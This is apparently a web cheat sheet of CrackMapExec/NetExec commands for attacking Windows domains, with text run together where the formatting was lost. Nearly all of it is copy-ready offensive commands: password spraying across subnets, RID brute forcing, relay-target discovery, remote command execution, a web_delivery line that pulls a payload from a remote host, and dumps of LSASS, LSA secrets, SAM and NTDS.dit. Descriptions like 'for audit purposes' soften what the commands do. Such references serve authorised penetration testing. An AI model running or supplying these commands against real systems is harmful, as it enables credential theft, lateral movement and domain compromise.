crackmapexec smb 192.168.1.0/24Enumerates SMB enabled hosts, signing status, and OS versions across a subnet.
Using CrackMapExec/NetExec to enumerate SMB, LDAP, WinRM and MSSQL across a network: shares, users, sessions, policies and more.
sudo apt install netexeccrackmapexec smb 192.168.1.0/24Enumerates SMB enabled hosts, signing status, and OS versions across a subnet.
crackmapexec smb 10.10.10.10 --fqdnRetrieves the Fully Qualified Domain Name of the remote host.
crackmapexec smb hosts.txt --gen-relay-list relay_targets.txtEnumerates hosts without SMB signing enabled and saves them for relaying.
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --usersEnumerates domain users via SMB query.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --userscrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --groupsEnumerates domain groups via SMB query.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --groupscrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --local-groupsEnumerates local groups on the target machine.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --local-groupscrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-bruteBrute forces RIDs to enumerate users and groups even if standard listing fails.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --rid-brutecrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute 10000Performs an extended RID brute force up to 10000 to find hidden accounts.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --rid-brute 10000crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sessionsEnumerates active SMB sessions on the target server.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --sessionscrackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --loggedon-usersQueries hosts to see which users are currently logged on interactively.
Example
crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' --loggedon-userscrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --pass-polRetrieves the domain password policy including complexity and lockout thresholds.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --pass-polcrackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txtSprays a list of credentials across the network to validate access.
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --local-authValidates credentials against the local SAM database instead of the domain.
Example
crackmapexec smb 192.168.1.0/24 -u 'Administrator' -p 'P@ssword1' --local-authcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --continue-on-successContinues testing other credentials even after a successful login is found.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --continue-on-successcrackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123'Identifies hosts where the provided user has Administrative (Pwn3d!) privileges.
Example
crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1'crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M enum_avUses WMI to enumerate installed antivirus software on the target.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M enum_avcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M iov_listEnumerates disconnected user sessions which can be hijackable.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M iov_listcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M wmi_query -o QUERY='Select * from Win32_OperatingSystem'Executes a custom WMI query to retrieve specific system information.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M wmi_query -o QUERY='Select * from Win32_OperatingSystem'crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M zerologonChecks domain controllers for the Zerologon vulnerability (CVE-2020-1472).
Example
crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' -M zerologoncrackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M petitpotamChecks if the target is vulnerable to PetitPotam coercion.
Example
crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' -M petitpotamcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M no pacChecks for the No-PAC (Sam the Admin) vulnerability.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M no_paccrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M maqEnumerates the MachineAccountQuota for the domain.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M maqcrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M adcsEnumerates Active Directory Certificate Services templates and servers.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M adcscrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M web_delivery -o URL=http://192.168.1.5/payloadSimulates a web delivery payload execution for audit purposes.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M web_delivery -o URL=http://192.168.1.5/payloadcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M lsassyAdvanced module to attempt remote LSASS dumping for credential validation.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M lsassycrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M nanodumpUses NanoDump to attempt a stealthy LSASS dump for evasion testing.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M nanodumpcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M procdumpUses Sysinternals Procdump to dump LSASS for blue team signature validation.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M procdumpcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M bh_collectorRuns the BloodHound ingestor module to map domain relationships.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M bh_collectorcrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123'Validates domain credentials against the LDAP service.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1'crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --adminsEnumerates members of the Domain Admins group via LDAP.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --adminscrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --asreproastIdentifies users without Kerberos pre-authentication enabled (ASREPRoasting candidates).
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --asreproastcrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --kerberoastingEnumerates users with Service Principal Names (SPNs) set (Kerberoasting candidates).
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --kerberoastingcrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --trusted-for-delegationFinds computer and user objects trusted for unconstrained delegation.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --trusted-for-delegationcrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --password-not-requiredEnumerates accounts that do not require a password to login.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --password-not-requiredcrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M get_descExtracts and displays the description fields for all domain users.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M get_desccrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M whoamiEnumerates privileges and group memberships of the current credential context.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M whoamicrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --usersQueries LDAP to retrieve a list of all domain users and their descriptions.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --userscrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --active-usersFilters the user list to show only active (enabled) accounts.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --active-userscrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users --keyword 'pass'Searches user descriptions in LDAP for specific keywords like 'pass' or 'secret'.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --users --keyword 'pass'crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groupsRetrieves all groups within the Active Directory domain.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --groupscrackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups --keyword 'admin'Filters domain groups to find high-value targets containing 'admin'.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --groups --keyword 'admin'crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M gpp_passwordScans Group Policy Preferences for legacy cPassword attributes.
Example
crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M gpp_passwordcrackmapexec winrm 192.168.1.0/24 -u 'user' -p 'Pass123'Enumerates hosts with WinRM service enabled and validates credentials.
Example
crackmapexec winrm 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1'crackmapexec winrm 192.168.1.10 -u 'user' -p 'Pass123' -x 'whoami'Executes a basic command to verify functional remote code execution privileges.
Example
crackmapexec winrm 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -x 'whoami'crackmapexec mssql 192.168.1.0/24 -u 'user' -p 'Pass123'Discovers MSSQL instances and validates SQL login credentials.
Example
crackmapexec mssql 192.168.1.0/24 -u 'sa' -p 'P@ssword1'crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --dbsEnumerates available databases on the target SQL server.
Example
crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' --dbscrackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --tablesEnumerates all tables within the accessible databases.
Example
crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' --tablescrackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' -M mssql_privModule to identify current user privileges on the MSSQL server.
Example
crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' -M mssql_privcrackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --no-fqdn-resolvePerforms enumeration while preventing DNS resolution to maintain stealth.
Example
crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' --no-fqdn-resolvecrackmapexec ssh 192.168.1.0/24 -u 'user' -p 'Pass123'Enumerates hosts with SSH enabled and checks credential validity.
Example
crackmapexec ssh 192.168.1.0/24 -u 'root' -p 'toor'crackmapexec ssh 192.168.1.0/24 -u 'user' --key-file id_rsaValidates SSH authentication using a private key file instead of a password.
Example
crackmapexec ssh 192.168.1.0/24 -u 'ubuntu' --key-file /home/user/.ssh/id_rsacrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users --groups --sessionsCombines multiple SMB enumeration flags for a comprehensive host snapshot.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --users --groups --sessionscrackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --export results.csvExports enumeration results to a CSV file for analysis and reporting.
Example
crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' --export results.csvcrackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --verboseEnables verbose output to capture detailed debugging information during enumeration.
Example
crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' --verbosecrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --lsaAttempts to dump LSA secrets to validate if credentials can be extracted remotely.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --lsacrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --samAttempts to dump the SAM database to check for local credential exposure.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --samcrackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --ntdsAttempts to dump the NTDS.dit file via DRSUAPI to validate DC security.
Example
crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --ntdsThe Swiss-army knife for Windows networks: spray credentials, execute commands and dump secrets across SMB, WinRM, LDAP and MSSQL. NetExec (nxc) is the maintained fork.
The OpenLDAP query client. Dumps users, groups, computers and attributes from LDAP and Active Directory with precise filters.
A Python ingestor for BloodHound that collects Active Directory objects, ACLs and sessions from Linux, revealing attack paths to high-value targets.
A wrapper around Samba tools that enumerates users, groups, shares, password policy and OS details from Windows and Samba hosts.